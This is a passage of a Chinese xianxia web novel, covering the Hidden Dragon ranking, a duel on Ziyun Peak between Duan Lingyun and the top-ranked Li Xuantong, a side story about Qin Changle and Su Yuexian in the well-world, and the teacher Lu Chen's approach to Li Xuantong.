“林炎,潜龙榜,第十一!”
嘹亮至极的声音响彻整片天地,後方新来的天骄们都呆呆的望着林炎,只觉得恐怖如斯。
要知晓这潜龙榜前三十的名额大半都被帝朝的那些妖孽所霸占,哪怕是顶尖皇朝的少年至尊也很难挤入其中,更别说是这些皇朝王朝之人了。
不过也有人眼尖认出了陆尘一行人,当下与众人解释了这一行人所行之事,众人的惊叹之声这才稍稍歇了一些。
只见得林炎的名字映照在半空那金灿灿的金榜上后,潜龙榜前一百的名号也一个皆一个的缓缓浮现。
【百人已齐,潜龙榜现昭示天下,赐真龙令一枚】
【潜龙榜第一名:李玄通】
【潜龙榜第二名:思无涯】
【潜龙榜第三名:郭怀风】
……
【潜龙榜第六名:百里浮华】
【潜龙榜第二十九名:宁远】
【潜龙榜第九十九名:叶无悔】
随着那一声传遍天际,一个一个名字开始在那忽地出现在半空之中的金榜之上映照显现出来。
此榜共有一百人,其前十之人皆为帝朝世家之人,如百里浮华,便是出身世家。
而後一部分,也是有不少陆尘指点过的天骄少年,如柳诚,宁远皆在此之列。
而叶无悔这般隐藏实力者亦是不在少数,他与林炎一般,皆有冲击前十的实力,却是并未着急显露自身底蕴。
在那一百个名
字尽皆浮现出来后,整个龙脉之地便是瞬间涌出近百道光柱,有的粗壮如天柱,有的则收若细竹。
“手持真龙令者,吸纳天地龙气非旁人所能比拟,而能进入真正的龙陨之地者,亦只有手持令牌的这一百人。”
“此一百人可为七大圣地的核心弟子,前十人更可为圣地至尊亲传,但如今手持令牌之人,并非是笑到最後之人。”
“手持令牌者享受更大的机遇,同样也要承担更大的风险,此真龙令会将这一百人的位置昭示而出,诸位可凭藉自身实力掂量,该去夺何人令牌。”
“祝诸君好运,龙脉之战,自此刻而起!”
苍老而又幽远的声音忽地响彻整片天地,冥冥之中,众人只觉得好似有修为通天彻底的大能亲临,与众人言明这龙脉之地的规则。
老者声音逐渐消散,天地间却沸腾不止。
林炎朝周遭望了一圈,只见得所有人都目光贪婪的看着自己。
一块金色的龙令落到林炎手中,其间散发着灼热气息,好似是真龙在吐息一般。
“倒是没想到我是最後一人。”
林炎无奈的笑了笑。
“你们也上前试试,虽说如今并不能以此得龙令,但也可得一次龙气裕体,并且不会在潜龙榜上留名,不必有所隐藏。”
陆尘又望向段凌云几人说道。
段凌云点了点头,走上前去,将手按在那灵碑之上。
浩荡的金光冲天而起,在其毫无留手之下,比之林炎那般异象,要恐怖极多。
那光柱好似天柱一般,将周遭的龙气尽数吞噬殆尽,段凌云荒古之气浩荡而出,好似饕餮一般的吞噬着天地之间龙气。
良久后,这金柱才缓缓消散。
周遭原本望着林炎眼神火热之人,此时也是打消念头,不敢多看一眼。
若只是林炎一人,众人还能凭藉人多去争一争那龙令,现如今又多了一人,那便是彻底没机会了。
“怎麽说,你们想先去找谁?”
陆尘笑问道。
林炎与段凌云对视一眼,十分默契的望向某一处。
二人视线所及之处,金光犹如擎天之柱。
潜龙榜第一,李玄通!
第一百零二章 潜龙榜第一人
自那金光璀璨的潜龙榜临世后,上榜的这一百人就被冲天的光柱笼罩。
而根据各自在金榜之上的排名不同,这金柱的大小粗壮也各不一致。
有的瘦小如山间翠竹,有的则是冲天而起,好似天柱一般。
里间最显眼的,便是那金榜前十人。
这前十人中,又数前三甲身上所聚光柱最为迫人。
李玄通,思无涯,郭怀风。
此三人早在登临这金榜时,便已经在整个百朝战场闻名。
李玄通出自昆仑帝朝,思无涯出自太虚帝朝,郭怀风出自太玄帝朝。
三人自㣉百朝战场后,就是以摧枯拉朽镇压同辈天骄,堪称真正的少年至尊。
只不过王不见王,三人始终未曾真正交手过。
此番潜龙榜排位之战,亦是有许多人等着看这三人交手,见证到底谁才是同辈当之无愧的第一人。
当然也并非说只有这三人有资格争夺那最後的潜龙榜第一,其实前十人皆底蕴深厚,与这前三甲仅有一线之差,若是在这龙脉之中有所大机缘寻得,指不定也能参与这定榜第一的争锋,最终夺得桂冠。
而如今之势,李玄通三人极有默契的成三角之势分立,彼此之间尚未有交手。
至於其他人,也十分自觉的远离那三道冲天光柱。
哪怕是有心䭾,也不会在此时去寻这三人交战。毕竟这三人手段通天,哪怕在生死搏斗中真能更胜一筹,但在气息衰竭之下,也只会被别人捡漏。
故而那苍老的声音虽有意引导众人去对这前百之人动手,来争夺那真龙令牌,但第一时间,众人反倒皆是十分冷静,并未有真的去生死争锋。
只是在众人皆远离那好似天柱一般的金光时,却又一道亦是十分粗壮的光柱往李玄通所在方向追赶。
不少人都停下脚步,看着那道光柱,心想着是谁这般大胆,在一开始就要寻上那潜龙榜第一交战。
“虽说此子所负金光也十分不凡,可与李玄通相比,那也是相差甚远啊。”
有人遥遥望着那赶往李玄通所在之处的金柱说道。
“排名第十一已经是天骄中的天骄了,何必如此拎不清,非要去自寻死路呢?”
又有人讥讽道,觉得此人是在自寻死路。
“李玄通的实力我可是亲眼见过的,并未动用任何武技,皆将一名顶尖皇朝的天骄打的经脉尽断,这般实力,可远非同辈天骄能与之争锋的。”
李玄通在这百朝战场之中出手的次数不多,但每一次,与之交手之人皆是久负盛名的少年至尊。
可这些少年至尊与李玄通交手,却是连李玄通的武技都未曾逼出来过,被其硬生生的凭藉浩瀚魂力以及强悍肉身打的经脉尽断,半生修为尽毁。
只有见识过其出手之人,才知晓这些帝朝的妖孽有多恐怖。
这般天之骄子,哪怕来日㣉圣地之中,也绝不会泯然众人,亦会是扶摇直上,光芒万丈。
“有人要找死咯。”
知晓李玄通恐怖手段的人,尽皆这般唏嘘道。
众人嘴上虽都认为这场决斗是那赶来的金光之人找死,但当下却都是按耐不住激荡情绪,纷纷赶往李玄通所在之处,只为目睹这龙脉之地的第一场天骄争锋。
龙脉,紫云峰。
峰顶之处,一位束发少年盘腿而坐,其白衣胜雪,衣袂翩翩,哪怕是盘腿枯坐,亦是令人感受到一股飘逸若仙之感。
如天柱般的金光笼罩於其身上,天地之间的龙气浩浩荡荡的灌㣉其中,如鲸㣉海一般。
少年闭目,混沌之气隐隐环绕在其周身。
“来了。”
他睁开眼,缓缓起身,轻拂袖袍,一举一动间,都有股难以言喻的仙气缭绕,好似不是凡尘中人。
只见得山峰之处,一瞬之间落下数道身影,皆是面色带笑的看着少年。
“大离王朝林炎。”
“大离王朝段凌云。”
只见得有五位少年人站立山顶,而一位青衫青年飘然於半空之中,显然是这五人护道之人。
为首的两位少年人则尽皆抱拳,眸子之中燃烧着灼热战意,好似滔天赤炎藏於里间。
白衣胜雪的潜龙榜第一人李玄通,亦是拱手而语:“昆仑帝朝,李玄通。”
他神色淡然,似乎并未因二人出身王朝又或䭾自己出身帝朝而有丝毫的轻蔑或是自傲。
“你二人一起来吧,我想清修一段时间,不想被人一个一个的找上门。”
“还有此峰方圆百里的诸位,皆可齐上,此番我不伤人性命,若下次诸位再有叨扰,便要恕李某得罪了。”
山峰之上,少年白衣胜雪,傲然而立。
他的声音虽并不洪亮,却是自紫云峰山顶四散开来,明明白白的㣉得方圆百里天骄的耳中。
百里天骄齐上,这是何等狂妄之言,又是何等自傲之言。
但所有人都清楚,那立於紫云峰之顶的白衣少年,的的确
确有这番实力,有这番底气去傲世群雄。
“不必了,我二人一人便可。”
林炎手放在脑後,龇牙咧嘴的笑道。
李神通愣了一愣,似乎并未想到林炎会说出这番话。
从一开始,李玄通就认为这二人是想要联手对敌。
他亦是看得出二人实力皆十分不简单,那身负金光的少年虽只是第十一名,李玄通却是知悉他绝对拥有前十的实力。
而那少年身旁的另一人,其气息甚至丝毫不弱,甚至单从气息而看,比之那身负金光之人还要更强。
可即便如此,李玄通依旧极为自负傲然的令百里天骄齐上。
这并非他轻视此番天骄人物,而是其有这般道心。
纵我一人与天下为敌,亦可杀尽天下群雄。
李玄通始终记得师尊所言,欲成帝䭾,举世皆敌,举世无敌。
如今的白衣少年,正是走在这条路上。
某种程度而言,他已然踏上帝路!
“当真?”
李玄通皱了皱眉问道。
林炎点了点头。
“你先还是我先。”
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他看向段凌云说道。
“我先来吧。”
段凌云一笑说道。
林炎倒也并未争抢,自觉後退一步。
“第一位寻我䭾,我敬之胆识,并不会伤之性命,但若是第二位,那便是扰我清修之人,我不会有所留手,你二人当真要一个一个上?”
“尤其是你这第二人。”
忽地有风吹过,令少年衣袂翻飞,他神色平淡而语,举手投足间皆是飘然若仙。
“哎呀,你放心出手便是了,你当真能打死他,我包赔的,你要能打死我,我也只当自认倒霉。”
林炎指了指段凌云,又指了指自己,当下笑嘻嘻的这般说道。
李玄通不再多语,目光平静的看向段凌云。
“这两人什麽来头,真不要命了啊!寻上李玄通也便罢了,竟还敢如此托大,想要一一与之交手。”
方圆百里间,有看戏的天骄人物叹道。
“不是说了是王朝人物吗?这果然是风水轮流转,区区王朝出身之人,竟也能走到这一步,有幸与帝朝天骄李玄通交手,只要其没有身死,今日恐怕是其一生荣光之所在啊。”
亦是有人这般感慨道。
以往王朝人物别说是登上潜龙榜与天骄争锋了,哪怕是进入龙脉之地也是极为困难。
而以王朝出身挑战潜龙榜第一之人,更是闻所未闻。
“王朝又如何,你也不看看那人排名多高,那可是整个百朝战场的第十一名,哪怕是顶尖皇朝的天骄也不一定能达到的地步,如何会没有资格挑战潜龙榜第一。”
有人看不惯众人对王朝出身之人轻视,当下为林炎二人说话道。
“就是就是,要我看,能以王朝之身到达这一步,单看天姿而言,丝毫不比李玄通要差,要知晓帝朝背靠圣地,其修行资源之庞大,哪怕是天底下的王朝加起来,也不及千分之一。”
有人愤愤而语,显然对这些帝朝妖孽颇有怨言,觉得他们是占了备靠圣地的便宜。
“不管怎麽说,单以境界实力而论,这二人不会有任何机会,哪怕那另一位亦是有金榜前十或是第十一的实力,也不可能是李玄通之敌手。”
有
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一位身负硕大光柱的少年至尊赶赴紫云峰周遭,盖棺定论的这般说道。
此人亦是位居前十之列,这样一位少年至尊开口,自然也将这场争论最後定性。
众人当下也不再做些口舌之争,皆是将目光投向紫云峰山顶之处,希望能看到一场精彩决战。
紫云峰山顶,段凌云暴喝一声,浩荡的荒古之气便是宣泄而出。
天地一瞬变色,乌云遮蔽天地,里间好似有无数荒古大妖腾跃。
“天生异象!”
有人这般惊呼道。
“难怪此人有底气单独与李玄通交手,原来是身负荒古神体!”
有眼尖䭾一眼便看出段凌云身负神体,十分不凡。
“不对,这可不是後世已然被天道压制的荒古神体,这恐怕已经是完完全全的古之神体了,气息一牵动,便可使天地变色。”
那前十之列的少年至尊叹道,令得众人知晓这天地异象的内幕。
荒古神体乃为荒古年间最为闻名的一种仙体,故而得名荒古神体。
只是在纪元流转,天地变幻后,此仙体虽仍名为荒古神体,可其各番相较,已经远远不如古之神体。
而如今段凌云所引发的天地异像,则是在说明其所身负䭾,即为真正的古之神体,而非如今受到天道压制的荒古神体。
二䭾之间属实不可同日而语,犹如是萤火比之皓月。
此般神体一出,亦是令百里之内的天骄们心绪激荡,如今看来,这名为段凌云的少年虽没有金光笼罩,但以其神体,显而易见能挤进那前十人之列中。
“来,且让我试试,古之神体是否当真天下无双。”
李玄通稍一挥手,混沌之气便是宣泄而出,在其周遭化作龙形缠绕。
段凌云不再言语,双脚猛的发力,整个人便是弹跳而起,直入云间。
待得其坠下之时,好似陨落星辰一般猛的砸向李玄通。
李玄通不闪不避,只见其亦是挥出一拳,竟以凡体硬生生的与身负荒古神体的段凌云相碰撞。
只听得砰的一声好似落雷炸响,天地之间尘烟弥漫。
待得尘烟散去,李玄通立於原地,纹丝不动。
段凌云则是退了数步,显然在刚才的对敌中落了下风。
“好恐怖的实力,竟能以凡体肉身与荒古神体抗衡,不愧是潜龙榜第一人。”
见识到李玄通的恐怖手段,有人这般惊呼道。
“并不是,哪怕李玄通也不可能单单凭藉肉身扛住这一击,若是你们瞧的仔细的话,可以看到有混沌气在其拳上凝聚。”
那位前十之列的少年至尊又开口说道。
他看的极为真切,知晓李玄通刚才那一击看似随手一挥,实则是凝聚混沌之气的奋力一拳,其恐怖程度,寻常人很难领会。
“混沌气?那不是天下第一心经《太上开天经》方可修得的至高灵气吗?”
听得少年至尊所言,又有不少天骄惊叹。
有无《太上开天经》是一回事,能不能修出混沌气,又是另一回事。
这些帝朝妖孽其实大多能接触到《太上开天经》的入门三篇,但真正能修炼出混沌气的,却也是极少数。
“不愧是潜龙榜第一人,是我托大了。”
段凌云轻笑一声,只见得其手一挥,亦是有一股磅礴混沌之气宣泄而出,引得天骄再度沸腾。
李玄通身负混沌气并不奇怪,毕竟是帝朝之中的第一人。
而这出身王朝的段凌云,不仅身负神体,更是修得混沌之气,那属实是极为骇人听闻之事了。
段凌云看着李玄通,心中战意沸腾到极点。
自其觉醒荒古血脉后,从未有同辈天骄能与之以肉身抗衡,哪怕是林炎与其切磋之时,也从不与段凌云近身交手。
这般拳拳相撞并且击退自己的,李玄通是第一个。
直到此时,段凌云方才知晓李玄通为何有那般底气,令百里天骄齐上。
半空之间,陆尘悠然自得的看着这场至尊争锋,他饮了壶酒,只觉得又回到年少时於江湖闯荡的岁月。
当时年少轻狂,快马纵离州。
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第一百零三章 玄通
紫云峰峰顶,两位少年至尊相对而视,皆是混沌之气缭绕,不似尘世之人。
一人身着白衣,有风吹过,衣炔便在风中轻轻摇曳,似云又似雾,彷佛与天地万物所并生一体。
少年的眼眸极为深邃,好似千年古井一般,令人难以看透。
其目光流转间,便有一股虽无意外漏却又极为分明的傲然之色。
但这番傲然却并不令人难受,因为这份傲然之色并非是对什麽人,而是之於这整片天地。
他的双手自然垂於身侧,修长的手指如同白玉雕琢而成,其间莫名有股道韵流转,令人惊叹不已。
而其对立之处,有些精瘦的少年眉峰好似利剑,眸子冷冽如寒星。
少年就那般随意站立着,却好似山岳一般,令人不敢与之争高。
二人目光交汇,没有半分徵兆,身影皆是如惊鸿一般掠出。
只见得二者相撞,各自迅猛挥拳,引得天地之间风声赫赫,好似有惊雷炸响一般。
混沌之气於峰顶之处激荡,二者的每一拳,都引得天地风云色变,山河激荡。
“李玄通真乃神人也……”
此番酣畅淋漓的战斗令在场的所有人都目光呆滞,诸位天骄都知道李玄通很强,可谁也没想到,他能强到这般地步,竟然真能以肉身与身负荒古神体加之混沌气之人相抗衡。
要知晓荒古神体本就是肉身无双,而段凌云所负,更是古之神体,远非受天地大道压制的荒古神体所能比拟的,其肉身之强悍,哪怕是不动用灵气,单凭肉身横炼程度,亦是能碾压一众天骄。
可即便如此,李玄通却是在肉身相撞中并未落得丝毫下风,确实堪称神人。
“李玄通以凡体撼神体确实了得,但你们也不要忘了,那位荒古神体要比李玄通低一个小境界,若是与常人相较,这般小境界的差距他可以轻松抹去,但与李玄通这般人物相比,这般小境界的差距,那便是如同天堑,不可逾越。”
那位前十之列的少年至尊再度开口,直到这时,不少人才意识到,段凌云这是在逆行伐上,伐的还是这般天之骄子,至尊少年。
就在众人感叹之际,只见得那峰顶之处又有一声惊雷炸起,在混沌之气缭绕间,二人各退数步,嘴角皆是有鲜血流出。
“李玄通竟然负伤了!”
“这还是第一次见李玄通负伤。”
“不愧是荒古神体,果真天下无双。”
一连诸多赞叹之声在天地之间响起,但只有段凌云自己知晓,肉身乃是自己最强之处,李玄通最弱之处,李玄通以最弱之处仍与自己最强之处平分秋色。
看似是二人皆负伤,但实则段凌云要落下风落的多。
“好强。”
段凌云擦了擦嘴角鲜血说道。
“你也是。”
李玄通面色淡然。
“我知晓以如今境界,并非你之敌手,但我还是要试试,能逼你出几分实力。”
段凌云笑语一声,只见得其手腕一甩,便有惊雷猛的落下。
只见得雷光好似银蛇一般在其周围萦绕,发出噼里啪啦不断炸响的声音。
段凌云微微摊开手掌,周遭的雷电之力便是瞬间汇聚,在他的掌心之处凝聚成一个闪烁着紫色光芒的雷球。
那雷球表面之上有电弧肆虐而起,散发着令人心悸的恐怖气息。
他的脚下,群山好似微微颤抖,彷佛在迎接一位少年帝王一般。
李玄通并未在原地愣神,他亦是微微打开手掌,目光凝聚於掌心之处。
只见得有一道十分柔和的白光在掌心之处凝聚,一瞬间化为飞鸟,振翅欲飞。
这飞鸟看似寻常,有心之人却是能瞧见,它的每一根细羽都闪烁着晦涩繁杂的符文,彷佛是天地间最精妙的法则所化。
飞鸟於李玄通周遭盘旋飞舞,叫声清脆,好似山间小溪缓缓流淌。
二人再度视线交汇,只见得段凌云暴喝一声,其周遭凝聚的雷光便是在一瞬之间狂暴起来。
乌云遮天蔽日,一道道好似天柱一般粗壮的雷电如巨龙穿梭其中,随时准备降下天罚,令世间万事湮灭。
段凌云手腕一甩,只见得其掌心雷球便如浩瀚流星般划过天际,向着李玄通疾驰而去,好似要将天地万物贯穿。
李玄通不闪不避,淡然伸出衣袖,轻轻一挥。
一道碧水般的屏障在其身前瞬间升起。宛若流星般的雷球撞击在那碧水屏障上,发出震天动地的巨响,光芒一瞬之间闪耀天际,却始终无法近李玄通分毫,消融於那碧水屏障之间。
水,承载万物,亦或是堙灭万物。
“这是什麽武技?竟能将那般攻势都尽数消融?”
有人惊叹道。
“不,不是武技,那是道。”
前十之列的那位少年至尊又说道。
他微皱着眉,隐隐间已经有些喘不过气。
这便是潜龙榜第一吗?
若自己没猜错的话,那都不是残缺的道痕了。
而是真真正正的大道真意。
在这个境界得悟大道,哪怕比之圣地圣子神女,亦是毫不逊色。
山峰之上,段
凌云没有因那雷球消融而有任何的犹豫,当下大手一挥,雷光又在其周身环绕。
九天之上的雷光为狂暴,不断地向段凌云汇聚,他双手结印,只见得无数道雷电如同银蛇一般的袭向李玄通。
李玄通却是脚尖轻点,身形便如鬼魅般一般跳动,只在原地留下好似波纹荡漾般的残影。
旋即少年㱏手一扬,环绕在其周遭的绚丽的飞鸟终於望风而动,如长剑般直直的向段凌云而去。
飞鸟所过之处,空间似乎都被扭曲,其白羽之上闪烁着晦涩繁杂的符文,映照着无边伟力。
段凌云不闪不避,奋力挥出一拳,荒古气息,混沌灵气,雷道法则,当下三气归一,这一拳好似要将天地给凿穿。
只见得浩瀚无比的灵气在山顶之间炸响,饶是相隔甚远,周遭的天骄们亦是感受到一股极为迫人的气息,竟有些喘不过气来。
可想而知那风暴的正中央又是何般的恐怖。
山顶之处,尘烟散去。
一滴水安静悬浮在段凌云额前,好似利剑。
“你输了。”
李玄通的声音平静。
段凌云点了点头,默然不语。
水滴消散,李玄通顿了顿又说道:“若你我同境一战,胜负仍未可知。”
段凌云摇了摇头。
“输了便是输了,潜龙榜第一,名副其实。”
他拱了拱手,输得十分坦荡。
“你呢?还要试试吗?”
李玄通望向林炎又问道。
林炎微眯着眼,停顿片刻说道:“你我大道相冲,来日必有一场大道生死之争,如今我没有把握,自不会动手。”
他亦是很想动手,但还是按耐住了这般躁动。
“我等你。”
李玄通点了点头,有风吹过,白衣依旧如雪。
…………
番外剧场
秦长乐的日常生活
井中小世界并不小,但大多是苍茫无际之地,可去的地方并不多。
秦长乐也曾试过走出这片竹林,去竹林外的地方看看,但每次稍稍踏出一步,少女又会缩起脚来,就好像是碰着什麽火一般。
这麽的次数多了,少女竟然是以此为乐,每日总要走到竹林的深处去向外伸一脚,美其名曰自己已然是走出过这片天地了。
有时候苏月仙会问她去了何处,少女就会满脸自豪的说,我去竹林外边了,是我自己去的哦。
苏月仙则是有些茫然的看着少女,并不知道少女在骄傲些什麽。
她苏醒的时间并不长,每次都会与少女说上一两句。
苏月仙其实并不是个爱说话的人,或许原本爱说话,但被整个东域追杀千年,自然也变得不爱说话了。
但她知道少女看似每天开开心心的傻乐呵着,但实则也是个孤寂之人。
相较之下,在某些方面而言,这份孤寂要比苏月仙所历经的更为难熬。
毕竟不过是十六七岁的少女,正是明媚的年纪,只能待在这种见不到天日的地方,又怎能真正的开心呢。
所有每当看到少女笑着的时候,苏月仙都能看到她眼底里积淀下来的哀愁神色。
“神仙姐姐,你说夫子他什麽时候回来呀,他不会回不来了吧,他万一要是回不来了,神仙姐姐你可怎麽办呀。”
少女有时候又会说一些乱七八糟的话,像是杞人忧天一般,小脸上显露出十分忧心的神色,甚至想着想着,就会不自觉的哭起来。
苏月仙这时候就有些头疼,也会在想若是陆尘在就好了。
她不知道该哄人不
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哭。
说实话,苏月仙见过不少人哭,但大抵是在她的剑下。
久而久之,苏月仙让人不哭的法子就是一剑过去。
一剑而过,自然就不会再哭了。
当苏月仙把这个事情告诉少女后,少女便会用她那贼兮兮的眼神偷瞄着苏月仙青铜棺中的配剑,而後立马换做一副笑脸。
“神仙姐姐真会开玩笑。”
少女这时候就会由哭转笑的说道。
“不是在开玩笑。”
苏月仙很认真的说道。
少女笑脸一僵。
“这句话是在开玩笑。”
苏月仙又补充道。
少女这时候才噗嗤一笑,再没有了半点杞人忧天的忧郁之色。
“神仙姐姐,你当真是和夫子待久了,都会讲笑话了。”
少女眨巴着眼睛看向苏月仙说道。
苏月仙则是微微皱眉。
“有吗?”
“有呀。”
少女肯定的点了点头。
“夫子他虽然没你好看,也没你厉害,但人还是挺好的。”
少女没来由的这麽说道。
苏月仙倒也并不反驳,点了点头道。
远在千里之外的陆尘连打了个好几个喷嚏,嘀嘀咕咕的不知道说了什麽。
“神仙姐姐,我问你个问题。”
少女眼睛里泛起狡黠神色,像是想到了什麽。
“什麽问题?”
苏月仙说道。
“你喜欢夫子吗?”
少女话一说完
,赶忙低头,生怕自己挨打。
“喜欢呀。”
出乎她的意料,苏月仙十分了当的说道,并未有什麽犹豫。
少女愣了一愣。
“你知道什麽是喜欢吗?”
她想了想又问道。
苏月仙露出疑惑神色。
“不就是像你喜欢我这样?”
她说道。
少女赶忙摇头。
“不是这种喜欢。”
“那是哪种?”
苏月仙反问道。
少女顿了一顿,想说些什麽,但还是没说出口。
苏月仙也并不多问,安然闭目冥想。
秦长乐则不再打扰苏月仙,蹦跳着找上熊猫状的机关傀儡。
“今天玩什麽呢?”
少女嘀咕着。
斗地主要三个人,飞行棋要四个人,两人玩的,似乎只有斗兽棋了。
这几种玩法,都是陆尘传下来,令少女直呼天才,第一次看陆尘的眼神比看苏月仙的眼神更加崇拜。
少女总在想着,等自己出去了,第一件事就是把这些玩法向全天下推广。
围棋多难呀,哪怕是和机关傀儡下围棋,自己都要接连悔棋,还是飞行棋好玩,少女总能扔出六。
当然和苏月仙一起玩的时候,不知道为什麽,少女就扔不出六了。
不过也正常,那可是神仙姐姐呀。
少女还记得苏月仙出手的那一次,仅仅是随意一击,那说要带走自己的家伙就死的很彻底了。
所以少女有些替陆尘担心。
虽然夫子很厉害了,但和神仙姐姐比,似乎还有不小的差距。
“算了,不玩了。”
少女又有些泄气,这倒并没有什麽理由。
这个年纪的少女心性就是这般随意,做什麽事情也并不需要什麽理由。
其实她已然并不觉得这里是什麽牢笼了,让少女难过的只是陆尘不在了。
她不想看到神仙姐姐一个人待着,尽管苏月仙什麽也没说,但少女却是能感觉到些什麽。
夫子在的时候这里很好,给少女一种家的感觉,明明大家并没有什麽血缘关系,可就是有这样一种感觉。
所以那段时间里,哪怕在此处并照不得什麽阳光,少女也觉得那是自己再一次的活在了光亮之下。
大家都很好。
“所以呀,夫子你一定要平平安安的。”
少女双手合十,十分虔诚的许下愿望。
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第一百零四章 飞蛾扑火
大战落下帷幕,虽与众人所料想的结局一般,但过程属实出乎人意料。
以往李玄通出手只是以灵气压人,从未施展过任何手段。
如今混沌气,大道真意,以及那唤出飞鸟的恐怖杀招三者齐出,已然是对段凌云最大的敬意了。
自此日後,段凌云声势之盛,恐怕只亚於李玄通。
混沌气,雷道法则,荒古神体,这三样东西加在一起,摆在少年面前的只会是一条宽到不能再宽的坦途了,堪称是前途无量。
至於那身负金光的第十一人,最後虽未出手,但在场天骄可不会真就傻傻的去认为是他不敢。
并且从李玄通言语之中,众人也能看出李玄通对其视作同等高度,可想而知,那位出手的天骄究竟有多麽恐怖。
“到底是哪里出来的妖孽啊,这一来还就来了两人。”
大战落幕,叹息感慨之声却仍旧未曾停歇。
“别说是前十了,这二人恐怕都有争前五之列的实力。”
“当真是恐怖如斯。”
议论之声未曾停歇,许多天骄都有些疑惑,这二人究竟是出自何处,顶尖皇朝?七大帝朝?
但这些皇朝帝朝的天之骄子们众人都早有耳闻,绝未有这样的两人。
“他们二人皆是出自王朝,若是有从东方位所来的天骄,虽未见过,想必都早有耳闻。”
有知情人忽地出声道。
“东方位?莫非是那位夫子门下的学生?”
百朝战场中早有传闻,说是东方位所在之处有位护道人办起了学堂,引得诸多天骄前去听课,且都是受益匪浅。
“若是那位夫子门下弟子,那便没什麽奇怪了。”
又有人这般叹了一声。
“若不是相隔甚远,我定要去那学堂瞧瞧,听不少人说,若能在其中得那位夫子指点一番,所获便不逊色於古之秘藏。”
“当真这般神奇?”
此话有些过於夸张,相信的人并不多。
“我也是不信,但与我同入百朝战场的同国之人,确实有人得其指点而脱胎换骨。”
那人又这般答道。
在场的天骄大多都是唏嘘不已,皆恨自己为何不在百朝战场东边方位。
而里间有得过陆尘指点者则是暗自窃喜过後,遥遥向着那山峰之处恭敬行礼。
山峰处,陆尘眸子水雾泛起,便见得璀璨金光於李玄通头顶盘旋,好似金龙一般。
帝路争锋之人。
且看那金光之璀璨,在帝路上恐怕是走的极远。
“你二人先去将第四第五的龙令夺下来,如今倒也不必藏拙了,龙令每在身都一刻,便是比他人多修行一日。”
陆尘扭过头去,望向段凌云以及林炎二人说道。
二人皆是恭敬点头,向陆尘行礼道别之後,分别往金柱方向而去。
周遭的天骄们听到这话都十分胆寒,什麽叫你二人先把第四第五的令牌夺下,说的好像是和你二人先吃个饭这般随意之事一样。
“真是群妖孽啊。”
有人惊叹道。
“帝朝的那些家伙有好苦头吃咯。”
有人倒是乐见这般争锋,当下嘴角勾着笑意说道。
“帝朝那些家伙从来不正眼看人,也该吃吃苦头了。”
在场的天之骄子们都是苦帝朝已久,当下立即附和道。
要知晓能到达这龙脉之地的少年天骄,没有哪一位在外界不是被那些大能捧在手心里怕化了的存在,哪怕知晓自己如今却是与帝朝那些妖孽有着不小的差距,但这并不代表这些天骄们就会自觉把自己放在低一等的位置。
能至此处者,又有谁会没有那般凌云登高之志呢?
山峰之处,见陆尘仍未离开,李玄通也并未多问什麽,全当陆尘并不存在,当下竟是盘腿而坐,闭目冥想起来。
“先别急着修行。”
陆尘轻笑了一声道。
李玄通眸子睁开,神情淡然的看着那飘然落在自己身前的陆尘。
他还未有任何举止,便有一道身影猛的出现在李玄通身前,如临大敌般看着陆尘。
那是位白发长须的老者,恐怖如海的灵气宣泄而出,似乎随时准备与陆尘殊死一搏。
“姜爷爷放心,这位前辈并没有敌意。”
李玄通轻声而语。
那位老者回过头来看向李玄通,见李玄通眼神平淡而坚定,这才收敛气息站到一旁。
“此人老奴看不透半分,若其有一丝杀意,老奴必定以命相搏,护少主周全。”
老者暗中传音道。
李玄通却并未理会,起身向陆尘行了个礼。
“不知前辈有何指教?”
少年恭敬有礼而语。
该傲的时候傲,该谦逊的时候谦逊,李玄通一直很分的明白。
他虽不知晓陆尘是何境界,却是冥冥中能感知到,若是眼前人有半点杀意,哪怕姜爷爷以命相搏,恐怕也阻止不了瞬息。
此番天地所能容纳的境界有限,至高也只能到封王境界。
而封侯封王两境修士若是入内,皆会受到圣地禁制封存部分灵脉,以防其无形中掠夺天地间龙
气。
这般禁制下,大能修士自然不愿入内,大抵都是神游境修士担此护道之人,像老者这般以封侯境界入内的,属实是少数。
而在李玄通眼中,封侯境界的强者抵不住眼前人一息,可想而知眼前人在其心中是何般的恐怖。
这并非是李玄通听过陆尘什麽事迹又或是见识过陆尘出手。
这是一种直觉,近乎动物本能的直觉在告诉他,眼前人很危险,十分危险。
“指教倒说不上,不过是有几句话想要说说。”
陆尘双手拢袖,微眯眸子笑道。
他看了一眼老者,又看了一眼李玄通。
李玄通心领神会,当下劝退那老者,老者虽是并不相信陆尘,但见李玄通目光坚定,也只能是自行回到紫云峰外。
陆尘稍一挥袖,无形的灵气便凝聚在紫云峰周遭,令旁人不可闻,不可见。
“近来可否有些许迷茫?”
做完这些,陆尘又看向李玄通笑问道。
李玄通摇了摇头,有些疑惑的看向陆尘。
陆尘笑而不语,手中剑气凝聚。
“剑道真意。”
李玄通紧盯着陆尘手中剑气,当下情绪有些激动而语。
陆尘手一挥,那剑道真意便又是瞬间消散,只见得雷光凝於其掌心,好似执掌神罚一般。
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“雷道真意?”
李玄通有些愣神,好像自己出现幻觉一般,雷道与剑道皆是三千大道中最重杀伐之道,多少人苦求一生尚且不能寻得,而眼前这位夫子尚且如此年轻,竟能手握这两条大道真意,属实可怕。
“一品……”
待得陆尘稍一挥袖散去道痕后,李玄通才後知後觉的意识到。
大道真意有三品之分,一品真意之难求,哪怕是至尊,终其一生也不一定能有所悟。
“与你展示这些,只是为了让我接下来所说之言更有些信服力,换句话来说,那便是更能让你听进去。”
陆尘青衫招摇,双手拢袖笑语。
“李玄通洗耳恭听。”
李玄通正色而语,神情严肃。
他虽是少年悟道,可三品与一品之间的差距,旁人不知晓,李玄通这般悟道之人却是十分清楚,里间差距,犹如天堑,丝毫不得逾越。
陆尘点了点头,他的眸子下泛起一层水雾,将少年生平尽收眼底。
【姓名:李玄通】
【年龄:十七】
【境界:上阳境二重】
【命格:金色——帝路争锋】
【生平:出身帝朝仙门,根骨窸窣平常,灵脉亦不过三。
然少年早慧,悟性极为惊人,各般古法秘籍皆是片刻得悟,犹如天成。
后痴迷於道,年十一时便周游帝朝,以此参悟天地大道,年十五时得悟水之大道真意,被仙门老祖赞誉为谪仙下凡。
然慧极必伤,入道后对何为道更加迷茫,犹如一颗种子埋在其心中,逐渐生根发芽。
后以百朝大战第一人入圣地,被圣地至尊所赞,直言他年纵横五域四海之人,必有其一袭之位。
然李玄通一心求道,并非求道之真意,而是道之根本,何为道。
李玄通周游五域四海,未得悟,后枯坐千年,依旧未得悟。
直到千年後,忽见花开花谢,云卷云舒,终有所悟,道即是道,花开是道,花谢亦是道,云卷是道
